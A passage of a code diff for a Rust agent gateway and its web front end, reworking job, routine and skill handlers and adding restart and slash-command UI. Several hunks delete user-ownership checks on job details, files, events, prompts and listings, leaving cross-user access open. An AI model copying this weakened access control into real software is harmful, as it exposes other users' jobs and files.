} else if ext.active && ext.name == "telegram" {
} else if ext.active {
let has_paired = pairing_store
.read_allow_from(&ext.name)
.map(|list| !list.is_empty())
@@ -51,6 +51,7 @@ pub async fn extensions_list_handler(
};
ExtensionInfo {
name: ext.name,
display_name: ext.display_name,
kind: ext.kind.to_string(),
description: ext.description,
url: ext.url,
@@ -58,6 +59,7 @@ pub async fn extensions_list_handler(
active: ext.active,
tools: ext.tools,
needs_setup: ext.needs_setup,
has_auth: ext.has_auth,
activation_status,
activation_error: ext.activation_error,
}
@@ -122,7 +124,11 @@ pub async fn extensions_activate_handler(
))?;
match ext_mgr.activate(&name).await {
Ok(result) => Ok(Json(ActionResponse::ok(result.message))),
Ok(result) => {
// Activation just loads the WASM module. Auth (OAuth/manual) is
// triggered separately via save_setup_secrets or the auth endpoint.
Ok(Json(ActionResponse::ok(result.message)))
}
Err(activate_err) => {
let err_str = activate_err.to_string();
let needs_auth = err_str.contains("authentication")
@@ -135,7 +141,7 @@ pub async fn extensions_activate_handler(
// Activation failed due to auth; try authenticating first.
match ext_mgr.auth(&name, None).await {
Ok(auth_result) if auth_result.status == "authenticated" => {
Ok(auth_result) if auth_result.is_authenticated() => {
// Auth succeeded, retry activation.
match ext_mgr.activate(&name).await {
Ok(result) => Ok(Json(ActionResponse::ok(result.message))),
@@ -146,13 +152,13 @@ pub async fn extensions_activate_handler(
// Auth in progress (OAuth URL or awaiting manual token).
let mut resp = ActionResponse::fail(
auth_result
.instructions
.clone()
.instructions()
.map(String::from)
.unwrap_or_else(|| format!("'{}' requires authentication.", name)),
);
resp.auth_url = auth_result.auth_url;
resp.awaiting_token = Some(auth_result.awaiting_token);
resp.instructions = auth_result.instructions;
resp.auth_url = auth_result.auth_url().map(String::from);
resp.awaiting_token = Some(auth_result.is_awaiting_token());
resp.instructions = auth_result.instructions().map(String::from);
Ok(Json(resp))
}
Err(auth_err) => Ok(Json(ActionResponse::fail(format!(
+347 -177
View File
@@ -1,5 +1,6 @@
//! Job and sandbox API handlers.
use std::collections::HashSet;
use std::sync::Arc;
use axum::{
@@ -21,32 +22,55 @@ pub async fn jobs_list_handler(
"Database not available".to_string(),
))?;
// Fetch sandbox jobs scoped to the authenticated user.
let sandbox_jobs = store
.list_sandbox_jobs_for_user(&state.user_id)
.await
.map_err(|e| (StatusCode::INTERNAL_SERVER_ERROR, e.to_string()))?;
let mut jobs: Vec<JobInfo> = Vec::new();
let mut seen_ids: HashSet<Uuid> = HashSet::new();
// Scope jobs to the authenticated user.
let mut jobs: Vec<JobInfo> = sandbox_jobs
.iter()
.filter(|j| j.user_id == state.user_id)
.map(|j| {
let ui_state = match j.status.as_str() {
"creating" => "pending",
"running" => "in_progress",
s => s,
};
JobInfo {
id: j.id,
title: j.task.clone(),
state: ui_state.to_string(),
user_id: j.user_id.clone(),
created_at: j.created_at.to_rfc3339(),
started_at: j.started_at.map(|dt| dt.to_rfc3339()),
// Fetch sandbox jobs from database.
match store.list_sandbox_jobs().await {
Ok(sandbox_jobs) => {
for j in &sandbox_jobs {
let ui_state = match j.status.as_str() {
"creating" => "pending",
"running" => "in_progress",
s => s,
};
seen_ids.insert(j.id);
jobs.push(JobInfo {
id: j.id,
title: j.task.clone(),
state: ui_state.to_string(),
user_id: j.user_id.clone(),
created_at: j.created_at.to_rfc3339(),
started_at: j.started_at.map(|dt| dt.to_rfc3339()),
});
}
})
.collect();
}
Err(e) => {
tracing::warn!("Failed to list sandbox jobs: {}", e);
}
}
// Fetch agent (non-sandbox) jobs from database, deduplicating by ID.
match store.list_agent_jobs().await {
Ok(agent_jobs) => {
for j in &agent_jobs {
if seen_ids.contains(&j.id) {
continue;
}
jobs.push(JobInfo {
id: j.id,
title: j.title.clone(),
state: j.status.clone(),
user_id: j.user_id.clone(),
created_at: j.created_at.to_rfc3339(),
started_at: j.started_at.map(|dt| dt.to_rfc3339()),
});
}
}
Err(e) => {
tracing::warn!("Failed to list agent jobs: {}", e);
}
}
// Most recent first.
jobs.sort_by(|a, b| b.created_at.cmp(&a.created_at));
@@ -62,18 +86,49 @@ pub async fn jobs_summary_handler(
"Database not available".to_string(),
))?;
let s = store
.sandbox_job_summary_for_user(&state.user_id)
.await
.map_err(|e| (StatusCode::INTERNAL_SERVER_ERROR, e.to_string()))?;
let mut total = 0;
let mut pending = 0;
let mut in_progress = 0;
let mut completed = 0;
let mut failed = 0;
let mut stuck = 0;
// Sandbox job counts.
match store.sandbox_job_summary().await {
Ok(s) => {
total += s.total;
pending += s.creating;
in_progress += s.running;
completed += s.completed;
failed += s.failed + s.interrupted;
}
Err(e) => {
tracing::warn!("Failed to fetch sandbox job summary: {}", e);
}
}
// Agent job counts.
match store.agent_job_summary().await {
Ok(s) => {
total += s.total;
pending += s.pending;
in_progress += s.in_progress;
completed += s.completed;
failed += s.failed;
stuck += s.stuck;
}
Err(e) => {
tracing::warn!("Failed to fetch agent job summary: {}", e);
}
}
Ok(Json(JobSummaryResponse {
total: s.total,
pending: s.creating,
in_progress: s.running,
completed: s.completed,
failed: s.failed + s.interrupted,
stuck: 0,
total,
pending,
in_progress,
completed,
failed,
stuck,
}))
}
@@ -81,16 +136,16 @@ pub async fn jobs_detail_handler(
State(state): State<Arc<GatewayState>>,
Path(id): Path<String>,
) -> Result<Json<JobDetailResponse>, (StatusCode, String)> {
let store = state.store.as_ref().ok_or((
StatusCode::SERVICE_UNAVAILABLE,
"Database not available".to_string(),
))?;
let job_id = Uuid::parse_str(&id)
.map_err(|_| (StatusCode::BAD_REQUEST, "Invalid job ID".to_string()))?;
// Try sandbox job from DB first, scoped to the authenticated user.
if let Some(ref store) = state.store
&& let Ok(Some(job)) = store.get_sandbox_job(job_id).await
{
if job.user_id != state.user_id {
return Err((StatusCode::NOT_FOUND, "Job not found".to_string()));
}
// Try sandbox job from DB first.
if let Ok(Some(job)) = store.get_sandbox_job(job_id).await {
let browse_id = std::path::Path::new(&job.project_dir)
.file_name()
.map(|n| n.to_string_lossy().to_string())
@@ -126,6 +181,9 @@ pub async fn jobs_detail_handler(
});
}
let mode = store.get_sandbox_job_mode(job.id).await.ok().flatten();
let is_claude_code = mode.as_deref() == Some("claude_code");
return Ok(Json(JobDetailResponse {
id: job.id,
title: job.task.clone(),
@@ -138,11 +196,44 @@ pub async fn jobs_detail_handler(
elapsed_secs,
project_dir: Some(job.project_dir.clone()),
browse_url: Some(format!("/projects/{}/", browse_id)),
job_mode: {
let mode = store.get_sandbox_job_mode(job.id).await.ok().flatten();
mode.filter(|m| m != "worker")
},
job_mode: mode.filter(|m| m != "worker"),
transitions,
can_restart: state.job_manager.is_some(),
can_prompt: is_claude_code && state.prompt_queue.is_some(),
job_kind: Some("sandbox".to_string()),
}));
}
// Fall back to agent job from DB.
if let Ok(Some(ctx)) = store.get_job(job_id).await {
let elapsed_secs = ctx.started_at.map(|start| {
let end = ctx.completed_at.unwrap_or_else(chrono::Utc::now);
(end - start).num_seconds().max(0) as u64
});
// Only show prompt bar for jobs that have a running worker (Pending/InProgress).
// Stuck jobs have no active worker loop, so messages would be silently dropped.
let is_promptable = matches!(
ctx.state,
crate::context::JobState::Pending | crate::context::JobState::InProgress
);
return Ok(Json(JobDetailResponse {
id: ctx.job_id,
title: ctx.title.clone(),
description: ctx.description.clone(),
state: ctx.state.to_string(),
user_id: ctx.user_id.clone(),
created_at: ctx.created_at.to_rfc3339(),
started_at: ctx.started_at.map(|dt| dt.to_rfc3339()),
completed_at: ctx.completed_at.map(|dt| dt.to_rfc3339()),
elapsed_secs,
project_dir: None,
browse_url: None,
job_mode: None,
transitions: Vec::new(),
can_restart: state.scheduler.is_some(),
can_prompt: is_promptable && state.scheduler.is_some(),
job_kind: Some("agent".to_string()),
}));
}
@@ -156,13 +247,10 @@ pub async fn jobs_cancel_handler(
let job_id = Uuid::parse_str(&id)
.map_err(|_| (StatusCode::BAD_REQUEST, "Invalid job ID".to_string()))?;
// Try sandbox job cancellation, scoped to the authenticated user.
// Try sandbox job cancellation.
if let Some(ref store) = state.store
&& let Ok(Some(job)) = store.get_sandbox_job(job_id).await
{
if job.user_id != state.user_id {
return Err((StatusCode::NOT_FOUND, "Job not found".to_string()));
}
if job.status == "running" || job.status == "creating" {
// Stop the container if we have a job manager.
if let Some(ref jm) = state.job_manager
@@ -188,6 +276,26 @@ pub async fn jobs_cancel_handler(
})));
}
// Fall back to agent job cancellation via DB status update.
if let Some(ref store) = state.store
&& let Ok(Some(job)) = store.get_job(job_id).await
{
if job.state.is_active() {
store
.update_job_status(
job_id,
crate::context::JobState::Cancelled,
Some("Cancelled by user"),
)
.await
.map_err(|e| (StatusCode::INTERNAL_SERVER_ERROR, e.to_string()))?;
}
return Ok(Json(serde_json::json!({
"status": "cancelled",
"job_id": job_id,
})));
}
Err((StatusCode::NOT_FOUND, "Job not found".to_string()))
}
@@ -199,127 +307,168 @@ pub async fn jobs_restart_handler(
StatusCode::SERVICE_UNAVAILABLE,
"Database not available".to_string(),
))?;
let jm = state.job_manager.as_ref().ok_or((
StatusCode::SERVICE_UNAVAILABLE,
"Sandbox not enabled".to_string(),
))?;
let old_job_id = Uuid::parse_str(&id)
.map_err(|_| (StatusCode::BAD_REQUEST, "Invalid job ID".to_string()))?;
let old_job = store
.get_sandbox_job(old_job_id)
.await
.map_err(|e| (StatusCode::INTERNAL_SERVER_ERROR, e.to_string()))?
.ok_or((StatusCode::NOT_FOUND, "Job not found".to_string()))?;
// Try sandbox job restart first.
if let Ok(Some(old_job)) = store.get_sandbox_job(old_job_id).await {
if old_job.status != "interrupted" && old_job.status != "failed" {
return Err((
StatusCode::CONFLICT,
format!("Cannot restart job in state '{}'", old_job.status),
));
}
// Scope to the authenticated user.
if old_job.user_id != state.user_id {
return Err((StatusCode::NOT_FOUND, "Job not found".to_string()));
}
let jm = state.job_manager.as_ref().ok_or((
StatusCode::SERVICE_UNAVAILABLE,
"Sandbox not enabled".to_string(),
))?;
if old_job.status != "interrupted" && old_job.status != "failed" {
return Err((
StatusCode::CONFLICT,
format!("Cannot restart job in state '{}'", old_job.status),
));
}
// Create a new job with the same task and project_dir.
let new_job_id = Uuid::new_v4();
let now = chrono::Utc::now();
let record = crate::history::SandboxJobRecord {
id: new_job_id,
task: old_job.task.clone(),
status: "creating".to_string(),
user_id: old_job.user_id.clone(),
project_dir: old_job.project_dir.clone(),
success: None,
failure_reason: None,
created_at: now,
started_at: None,
completed_at: None,
credential_grants_json: old_job.credential_grants_json.clone(),
};
store
.save_sandbox_job(&record)
.await
.map_err(|e| (StatusCode::INTERNAL_SERVER_ERROR, e.to_string()))?;
// Look up the original job's mode so the restart uses the same mode.
let mode = match store.get_sandbox_job_mode(old_job_id).await {
Ok(Some(m)) if m == "claude_code" => crate::orchestrator::job_manager::JobMode::ClaudeCode,
_ => crate::orchestrator::job_manager::JobMode::Worker,
};
// Restore credential grants from the original job so the restarted container
// has access to the same secrets.
let credential_grants: Vec<crate::orchestrator::auth::CredentialGrant> =
serde_json::from_str(&old_job.credential_grants_json).unwrap_or_else(|e| {
tracing::warn!(
job_id = %old_job.id,
"Failed to deserialize credential grants from stored job: {}. \
Restarted job will have no credentials.",
e
);
vec![]
});
let project_dir = std::path::PathBuf::from(&old_job.project_dir);
let _token = jm
.create_job(
new_job_id,
&old_job.task,
Some(project_dir),
mode,
credential_grants,
)
.await
.map_err(|e| {
(
StatusCode::INTERNAL_SERVER_ERROR,
format!("Failed to create container: {}", e),
// Enrich the task with failure context.
let task = if let Some(ref reason) = old_job.failure_reason {
format!(
"Previous attempt failed: {}. Retry: {}",
reason, old_job.task
)
})?;
} else {
old_job.task.clone()
};
store
.update_sandbox_job_status(new_job_id, "running", None, None, Some(now), None)
.await
.map_err(|e| (StatusCode::INTERNAL_SERVER_ERROR, e.to_string()))?;
let new_job_id = Uuid::new_v4();
let now = chrono::Utc::now();
Ok(Json(serde_json::json!({
"status": "restarted",
"old_job_id": old_job_id,
"new_job_id": new_job_id,
})))
let record = crate::history::SandboxJobRecord {
id: new_job_id,
task: task.clone(),
status: "creating".to_string(),
user_id: old_job.user_id.clone(),
project_dir: old_job.project_dir.clone(),
success: None,
failure_reason: None,
created_at: now,
started_at: None,
completed_at: None,
credential_grants_json: old_job.credential_grants_json.clone(),
};
store
.save_sandbox_job(&record)
.await
.map_err(|e| (StatusCode::INTERNAL_SERVER_ERROR, e.to_string()))?;
let mode = match store.get_sandbox_job_mode(old_job_id).await {
Ok(Some(m)) if m == "claude_code" => {
crate::orchestrator::job_manager::JobMode::ClaudeCode
}
_ => crate::orchestrator::job_manager::JobMode::Worker,
};
let credential_grants: Vec<crate::orchestrator::auth::CredentialGrant> =
serde_json::from_str(&old_job.credential_grants_json).unwrap_or_else(|e| {
tracing::warn!(
job_id = %old_job.id,
"Failed to deserialize credential grants from stored job: {}. \
Restarted job will have no credentials.",
e
);
vec![]
});
let project_dir = std::path::PathBuf::from(&old_job.project_dir);
let _token = jm
.create_job(
new_job_id,
&task,
Some(project_dir),
mode,
credential_grants,
)
.await
.map_err(|e| {
(
StatusCode::INTERNAL_SERVER_ERROR,
format!("Failed to create container: {}", e),
)
})?;
store
.update_sandbox_job_status(new_job_id, "running", None, None, Some(now), None)
.await
.map_err(|e| (StatusCode::INTERNAL_SERVER_ERROR, e.to_string()))?;
return Ok(Json(serde_json::json!({
"status": "restarted",
"old_job_id": old_job_id,
"new_job_id": new_job_id,
})));
}
// Try agent job restart: dispatch a new job via the scheduler.
if let Ok(Some(old_job)) = store.get_job(old_job_id).await {
if old_job.state.is_active() {
return Err((
StatusCode::CONFLICT,
format!("Cannot restart job in state '{}'", old_job.state),
));
}
let slot = state.scheduler.as_ref().ok_or((
StatusCode::SERVICE_UNAVAILABLE,
"Scheduler not available".to_string(),
))?;
let scheduler_guard = slot.read().await;
let scheduler = scheduler_guard.as_ref().ok_or((
StatusCode::SERVICE_UNAVAILABLE,
"Agent not started yet".to_string(),
))?;
// Look up failure reason (O(1) point lookup).
let failure_reason = store
.get_agent_job_failure_reason(old_job_id)
.await
.ok()
.flatten()
.unwrap_or_default();
let title = if !failure_reason.is_empty() {
format!(
"Previous attempt failed: {}. Retry: {}",
failure_reason, old_job.title
)
} else {
old_job.title.clone()
};
let new_job_id = scheduler
.dispatch_job(&old_job.user_id, &title, &old_job.description, None)
.await
.map_err(|e| (StatusCode::INTERNAL_SERVER_ERROR, e.to_string()))?;
return Ok(Json(serde_json::json!({
"status": "restarted",
"old_job_id": old_job_id,
"new_job_id": new_job_id,
})));
}
Err((StatusCode::NOT_FOUND, "Job not found".to_string()))
}
/// Submit a follow-up prompt to a running Claude Code sandbox job.
/// Submit a follow-up prompt to a running job.
///
/// Routes to the appropriate backend:
/// - Claude Code sandbox jobs → prompt queue (polled by the bridge)
/// - Agent (non-sandbox) jobs → WorkerMessage injection via scheduler
/// - Worker-mode sandbox jobs → not supported (no mechanism to inject)
pub async fn jobs_prompt_handler(
State(state): State<Arc<GatewayState>>,
Path(id): Path<String>,
Json(body): Json<serde_json::Value>,
) -> Result<Json<serde_json::Value>, (StatusCode, String)> {
let prompt_queue = state.prompt_queue.as_ref().ok_or((
StatusCode::NOT_IMPLEMENTED,
"Claude Code not configured".to_string(),
))?;
let job_id: uuid::Uuid = id
.parse()
.map_err(|_| (StatusCode::BAD_REQUEST, "Invalid job ID".to_string()))?;
// Verify user owns this job.
if let Some(ref store) = state.store
&& !store
.sandbox_job_belongs_to_user(job_id, &state.user_id)
.await
.unwrap_or(false)
{
return Err((StatusCode::NOT_FOUND, "Job not found".to_string()));
}
let content = body
.get("content")
.and_then(|v| v.as_str())
@@ -331,17 +480,57 @@ pub async fn jobs_prompt_handler(
let done = body.get("done").and_then(|v| v.as_bool()).unwrap_or(false);
let prompt = crate::orchestrator::api::PendingPrompt { content, done };
// Try sandbox job path: check if we have a sandbox record for this ID.
if let Some(ref s) = state.store
&& let Ok(Some(_)) = s.get_sandbox_job(job_id).await
{
let mut queue = prompt_queue.lock().await;
queue.entry(job_id).or_default().push_back(prompt);
// It's a sandbox job. Check if Claude Code mode.
let mode = s.get_sandbox_job_mode(job_id).await.ok().flatten();
if mode.as_deref() == Some("claude_code") {
let prompt_queue = state.prompt_queue.as_ref().ok_or((
StatusCode::NOT_IMPLEMENTED,
"Claude Code not configured".to_string(),
))?;
let prompt = crate::orchestrator::api::PendingPrompt { content, done };
{
let mut queue = prompt_queue.lock().await;
queue.entry(job_id).or_default().push_back(prompt);
}
return Ok(Json(serde_json::json!({
"status": "queued",
"job_id": job_id.to_string(),
})));
} else {
return Err((
StatusCode::NOT_IMPLEMENTED,
"Follow-up prompts are not supported for worker-mode sandbox jobs".to_string(),
));
}
}
Ok(Json(serde_json::json!({
"status": "queued",
"job_id": job_id.to_string(),
})))
// Try agent job path: send via scheduler.
let slot = state.scheduler.as_ref().ok_or((
StatusCode::NOT_IMPLEMENTED,
"Agent job prompts require the scheduler to be configured".to_string(),
))?;
let scheduler_guard = slot.read().await;
if let Some(ref scheduler) = *scheduler_guard
&& scheduler.is_running(job_id).await
{
scheduler
.send_message(job_id, content)
.await
.map_err(|e| (StatusCode::INTERNAL_SERVER_ERROR, e.to_string()))?;
return Ok(Json(serde_json::json!({
"status": "sent",
"job_id": job_id.to_string(),
})));
}
Err((
StatusCode::NOT_FOUND,
"Job not found or not running".to_string(),
))
}
/// Load persisted job events for a job (for history replay on page open).
@@ -358,15 +547,6 @@ pub async fn jobs_events_handler(
.parse()
.map_err(|_| (StatusCode::BAD_REQUEST, "Invalid job ID".to_string()))?;
// Verify user owns this job.
if !store
.sandbox_job_belongs_to_user(job_id, &state.user_id)
.await
.unwrap_or(false)
{
return Err((StatusCode::NOT_FOUND, "Job not found".to_string()));
}
let events = store
.list_job_events(job_id, None)
.await
@@ -416,11 +596,6 @@ pub async fn job_files_list_handler(
.map_err(|e| (StatusCode::INTERNAL_SERVER_ERROR, e.to_string()))?
.ok_or((StatusCode::NOT_FOUND, "Job not found".to_string()))?;
// Verify user owns this job.
if job.user_id != state.user_id {
return Err((StatusCode::NOT_FOUND, "Job not found".to_string()));
}
let base = std::path::PathBuf::from(&job.project_dir);
let rel_path = query.path.as_deref().unwrap_or("");
let target = base.join(rel_path);
@@ -484,11 +659,6 @@ pub async fn job_files_read_handler(
.map_err(|e| (StatusCode::INTERNAL_SERVER_ERROR, e.to_string()))?
.ok_or((StatusCode::NOT_FOUND, "Job not found".to_string()))?;
// Verify user owns this job.
if job.user_id != state.user_id {
return Err((StatusCode::NOT_FOUND, "Job not found".to_string()));
}
let path = query.path.as_deref().ok_or((
StatusCode::BAD_REQUEST,
"path parameter required".to_string(),
+3 -3
View File
@@ -159,10 +159,10 @@ pub async fn memory_search_handler(
.map_err(|e| (StatusCode::INTERNAL_SERVER_ERROR, e.to_string()))?;
let hits: Vec<SearchHit> = results
.iter()
.into_iter()
.map(|r| SearchHit {
path: r.document_id.to_string(),
content: r.content.clone(),
path: r.document_path,
content: r.content,
score: r.score as f64,
})
.collect();
+12 -3
View File
@@ -23,7 +23,7 @@ pub async fn routines_list_handler(
))?;
let routines = store
.list_routines(&state.user_id)
.list_all_routines()
.await
.map_err(|e| (StatusCode::INTERNAL_SERVER_ERROR, e.to_string()))?;
@@ -41,7 +41,7 @@ pub async fn routines_summary_handler(
))?;
let routines = store
.list_routines(&state.user_id)
.list_all_routines()
.await
.map_err(|e| (StatusCode::INTERNAL_SERVER_ERROR, e.to_string()))?;
@@ -147,6 +147,10 @@ pub async fn routines_trigger_handler(
.map_err(|e| (StatusCode::INTERNAL_SERVER_ERROR, e.to_string()))?
.ok_or((StatusCode::NOT_FOUND, "Routine not found".to_string()))?;
if routine.user_id != state.user_id {
return Err((StatusCode::FORBIDDEN, "Access denied".to_string()));
}
// Send the routine prompt through the message pipeline as a manual trigger.
let prompt = match &routine.action {
crate::agent::routine::RoutineAction::Lightweight { prompt, .. } => prompt.clone(),
@@ -156,7 +160,12 @@ pub async fn routines_trigger_handler(
};
let content = format!("[routine:{}] {}", routine.name, prompt);
let msg = IncomingMessage::new("gateway", &state.user_id, content);
let thread_id = format!(
"routine-{}-{}",
routine_id,
chrono::Utc::now().timestamp_millis()
);
let msg = IncomingMessage::new("gateway", &state.user_id, content).with_thread(thread_id);
let tx_guard = state.msg_tx.read().await;
let tx = tx_guard.as_ref().ok_or((
+8 -1
View File
@@ -148,7 +148,14 @@ pub async fn skills_install_handler(
.await
.map_err(|e| (StatusCode::BAD_REQUEST, e.to_string()))?
} else if let Some(ref catalog) = state.skill_catalog {
let url = crate::skills::catalog::skill_download_url(catalog.registry_url(), &req.name);
// Prefer slug (e.g. "owner/skill-name") over display name for the
// download URL, since the registry endpoint expects a slug.
let download_key = req
.slug
.as_deref()
.filter(|s| !s.is_empty())
.unwrap_or(&req.name);
let url = crate::skills::catalog::skill_download_url(catalog.registry_url(), download_key);
crate::tools::builtin::skill_tools::fetch_skill_content(&url)
.await
.map_err(|e| (StatusCode::BAD_GATEWAY, e.to_string()))?
+2 -5
View File
@@ -6,6 +6,7 @@ use axum::{
response::{Html, IntoResponse},
};
use crate::bootstrap::ironclaw_base_dir;
use crate::channels::web::types::*;
// --- Static file handlers ---
@@ -71,11 +72,7 @@ async fn serve_project_file(project_id: &str, path: &str) -> axum::response::Res
return (StatusCode::BAD_REQUEST, "Invalid project ID").into_response();
}
let base = dirs::home_dir()
.unwrap_or_else(|| std::path::PathBuf::from("."))
.join(".ironclaw")
.join("projects")
.join(project_id);
let base = ironclaw_base_dir().join("projects").join(project_id);
let file_path = base.join(path);
+24 -11
View File
@@ -21,6 +21,7 @@ pub mod openai_compat;
pub mod server;
pub mod sse;
pub mod types;
pub(crate) mod util;
pub mod ws;
use std::net::SocketAddr;
@@ -62,13 +63,11 @@ impl GatewayChannel {
/// If no auth token is configured, generates a random one and prints it.
pub fn new(config: GatewayConfig) -> Self {
let auth_token = config.auth_token.clone().unwrap_or_else(|| {
use rand::Rng;
let token: String = rand::thread_rng()
.sample_iter(&rand::distributions::Alphanumeric)
.take(32)
.map(char::from)
.collect();
token
use rand::RngCore;
use rand::rngs::OsRng;
let mut bytes = [0u8; 32];
OsRng.fill_bytes(&mut bytes);
bytes.iter().map(|b| format!("{b:02x}")).collect()
});
let state = Arc::new(GatewayState {
@@ -83,6 +82,7 @@ impl GatewayChannel {
store: None,
job_manager: None,
prompt_queue: None,
scheduler: None,
user_id: config.user_id.clone(),
shutdown_tx: tokio::sync::RwLock::new(None),
ws_tracker: Some(Arc::new(ws::WsConnectionTracker::new())),
@@ -93,7 +93,6 @@ impl GatewayChannel {
registry_entries: Vec::new(),
cost_guard: None,
startup_time: std::time::Instant::now(),
restart_requested: std::sync::atomic::AtomicBool::new(false),
});
Self {
@@ -107,7 +106,8 @@ impl GatewayChannel {
fn rebuild_state(&mut self, mutate: impl FnOnce(&mut GatewayState)) {
let mut new_state = GatewayState {
msg_tx: tokio::sync::RwLock::new(None),
sse: SseManager::new(),
// Preserve the existing broadcast channel so sender handles remain valid.
sse: SseManager::from_sender(self.state.sse.sender()),
workspace: self.state.workspace.clone(),
session_manager: self.state.session_manager.clone(),
log_broadcaster: self.state.log_broadcaster.clone(),
@@ -117,6 +117,7 @@ impl GatewayChannel {
store: self.state.store.clone(),
job_manager: self.state.job_manager.clone(),
prompt_queue: self.state.prompt_queue.clone(),
scheduler: self.state.scheduler.clone(),
user_id: self.state.user_id.clone(),
shutdown_tx: tokio::sync::RwLock::new(None),
ws_tracker: self.state.ws_tracker.clone(),
@@ -127,7 +128,6 @@ impl GatewayChannel {
registry_entries: self.state.registry_entries.clone(),
cost_guard: self.state.cost_guard.clone(),
startup_time: self.state.startup_time,
restart_requested: std::sync::atomic::AtomicBool::new(false),
};
mutate(&mut new_state);
self.state = Arc::new(new_state);
@@ -197,6 +197,12 @@ impl GatewayChannel {
self
}
/// Inject the scheduler for sending follow-up messages to agent jobs.
pub fn with_scheduler(mut self, slot: crate::tools::builtin::SchedulerSlot) -> Self {
self.rebuild_state(|s| s.scheduler = Some(slot));
self
}
/// Inject the skill registry for skill management API.
pub fn with_skill_registry(mut self, sr: Arc<std::sync::RwLock<SkillRegistry>>) -> Self {
self.rebuild_state(|s| s.skill_registry = Some(sr));
@@ -296,9 +302,16 @@ impl Channel for GatewayChannel {
name,
thread_id: thread_id.clone(),
},
StatusUpdate::ToolCompleted { name, success } => SseEvent::ToolCompleted {
StatusUpdate::ToolCompleted {
name,
success,
error,
parameters,
} => SseEvent::ToolCompleted {
name,
success,
error,
parameters,
thread_id: thread_id.clone(),
},
StatusUpdate::ToolResult { name, preview } => SseEvent::ToolResult {
+639 -607
View File
File diff suppressed because it is too large Load Diff
+17
View File
@@ -36,6 +36,23 @@ impl SseManager {
}
}
/// Create an SSE manager that reuses an existing broadcast sender.
///
/// This preserves the broadcast channel across `rebuild_state` calls so
/// that sender handles captured by other components remain valid.
///
/// **Important:** The connection counter is reset to zero. This method must
/// only be called before the server starts accepting connections (i.e.,
/// during startup wiring). Calling it after connections are established
/// will break connection tracking and allow exceeding `MAX_CONNECTIONS`.
pub fn from_sender(tx: broadcast::Sender<SseEvent>) -> Self {
Self {
tx,
connection_count: Arc::new(AtomicU64::new(0)),
max_connections: MAX_CONNECTIONS,
}
}
/// Broadcast an event to all connected clients.
pub fn broadcast(&self, event: SseEvent) {
// Ignore send errors (no receivers is fine)
+469 -152
View File
@@ -16,6 +16,31 @@ let pairingPollInterval = null;
const JOB_EVENTS_CAP = 500;
const MEMORY_SEARCH_QUERY_MAX_LENGTH = 100;
// --- Slash Commands ---
const SLASH_COMMANDS = [
{ cmd: '/status', desc: 'Show all jobs, or /status <id> for one job' },
{ cmd: '/list', desc: 'List all jobs' },
{ cmd: '/cancel', desc: '/cancel <job-id> — cancel a running job' },
{ cmd: '/undo', desc: 'Revert the last turn' },
{ cmd: '/redo', desc: 'Re-apply an undone turn' },
{ cmd: '/compact', desc: 'Compress the context window' },
{ cmd: '/clear', desc: 'Clear thread and start fresh' },
{ cmd: '/interrupt', desc: 'Stop the current turn' },
{ cmd: '/heartbeat', desc: 'Trigger manual heartbeat check' },
{ cmd: '/summarize', desc: 'Summarize the current thread' },
{ cmd: '/suggest', desc: 'Suggest next steps' },
{ cmd: '/help', desc: 'Show help' },
{ cmd: '/version', desc: 'Show version info' },
{ cmd: '/tools', desc: 'List available tools' },
{ cmd: '/skills', desc: 'List installed skills' },
{ cmd: '/model', desc: 'Show or switch the LLM model' },
{ cmd: '/thread new', desc: 'Create a new conversation thread' },
];
let _slashSelected = -1;
let _slashMatches = [];
// --- Tool Activity State ---
let _activeGroup = null;
let _activeToolCards = {};
@@ -108,6 +133,110 @@ function apiFetch(path, options) {
});
}
// --- Restart Feature ---
let isRestarting = false; // Track if we're currently restarting
let restartEnabled = false; // Track if restart is available in this deployment
function triggerRestart() {
if (!currentThreadId) {
alert('Please start a conversation first');
return;
}
// Show the confirmation modal
const confirmModal = document.getElementById('restart-confirm-modal');
confirmModal.style.display = 'flex';
}
function confirmRestart() {
if (!currentThreadId) {
alert('Please start a conversation first');
return;
}
// Hide confirmation modal
const confirmModal = document.getElementById('restart-confirm-modal');
confirmModal.style.display = 'none';
const restartBtn = document.getElementById('restart-btn');
const restartIcon = document.getElementById('restart-icon');
// Mark as restarting
isRestarting = true;
restartBtn.disabled = true;
if (restartIcon) restartIcon.classList.add('spinning');
// Show progress modal
const loaderEl = document.getElementById('restart-loader');
loaderEl.style.display = 'flex';
// Send restart command via chat
console.log('[confirmRestart] Sending /restart command to server');
apiFetch('/api/chat/send', {
method: 'POST',
body: {
content: '/restart',
thread_id: currentThreadId,
},
})
.then((response) => {
console.log('[confirmRestart] API call succeeded, response:', response);
})
.catch((err) => {
console.error('[confirmRestart] Restart request failed:', err);
addMessage('system', 'Restart failed: ' + err.message);
isRestarting = false;
restartBtn.disabled = false;
if (restartIcon) restartIcon.classList.remove('spinning');
loaderEl.style.display = 'none';
});
}
function cancelRestart() {
const confirmModal = document.getElementById('restart-confirm-modal');
confirmModal.style.display = 'none';
}
function tryShowRestartModal() {
// Defensive callback for when restart is detected in messages.
if (!isRestarting) {
isRestarting = true;
const restartBtn = document.getElementById('restart-btn');
const restartIcon = document.getElementById('restart-icon');
restartBtn.disabled = true;
if (restartIcon) restartIcon.classList.add('spinning');
// Show progress modal
const loaderEl = document.getElementById('restart-loader');
loaderEl.style.display = 'flex';
}
}
function updateRestartButtonVisibility() {
const restartBtn = document.getElementById('restart-btn');
if (restartBtn) {
restartBtn.style.display = restartEnabled ? 'block' : 'none';
}
}
function startGatewayStatusPolling() {
fetchGatewayStatus();
// Poll every 5 seconds
setInterval(fetchGatewayStatus, 5000);
}
function fetchGatewayStatus() {
apiFetch('/api/gateway/status')
.then((data) => {
restartEnabled = data.restart_enabled || false;
updateRestartButtonVisibility();
})
.catch((err) => {
console.warn('[gateway status] Failed to fetch:', err);
});
}
// --- SSE ---
function connectSSE() {
@@ -118,6 +247,18 @@ function connectSSE() {
eventSource.onopen = () => {
document.getElementById('sse-dot').classList.remove('disconnected');
document.getElementById('sse-status').textContent = 'Connected';
// If we were restarting, close the modal and reset button now that server is back
if (isRestarting) {
const loaderEl = document.getElementById('restart-loader');
if (loaderEl) loaderEl.style.display = 'none';
const restartBtn = document.getElementById('restart-btn');
const restartIcon = document.getElementById('restart-icon');
if (restartBtn) restartBtn.disabled = false;
if (restartIcon) restartIcon.classList.remove('spinning');
isRestarting = false;
}
if (sseHasConnectedBefore && currentThreadId) {
finalizeActivityGroup();
loadHistory();
@@ -135,10 +276,14 @@ function connectSSE() {
if (!isCurrentThread(data.thread_id)) return;
finalizeActivityGroup();
addMessage('assistant', data.content);
setStatus('');
enableChatInput();
